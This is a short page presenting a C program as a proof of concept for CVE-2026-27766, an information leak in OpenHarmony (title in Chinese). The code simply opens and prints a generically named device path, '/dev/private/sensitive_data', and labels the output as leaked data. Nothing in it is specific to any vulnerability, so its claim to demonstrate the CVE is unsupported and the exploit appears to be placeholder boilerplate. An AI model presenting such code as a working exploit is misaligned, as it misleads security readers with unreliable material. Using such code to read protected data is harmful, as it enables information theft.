CVE-2026-27766 OpenHarmony信息泄露漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-27766 * Demonstrates reading sensitive information via local access. * Compile: gcc -o poc_exploit poc_exploit.c */ int main() { // Path to the sensitive file or memory interface vulnerable in OpenHarmony const char* target_path = "/dev/private/sensitive_data"; printf("[*] Attempting to open %s...\n", target_path); int fd = open(target_path, O_RDONLY); if (fd < 0) { perror("[-] Exploit failed: Could not open target"); return 1; } printf("[+] Successfully opened target descriptor.\n"); char buffer[1024]; ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { buffer[bytes_read] = '\0'; printf("[+] Data leaked:\n%s\n", buffer); } else { printf("[-] No data read or error occurred.\n"); } close(fd); return 0; }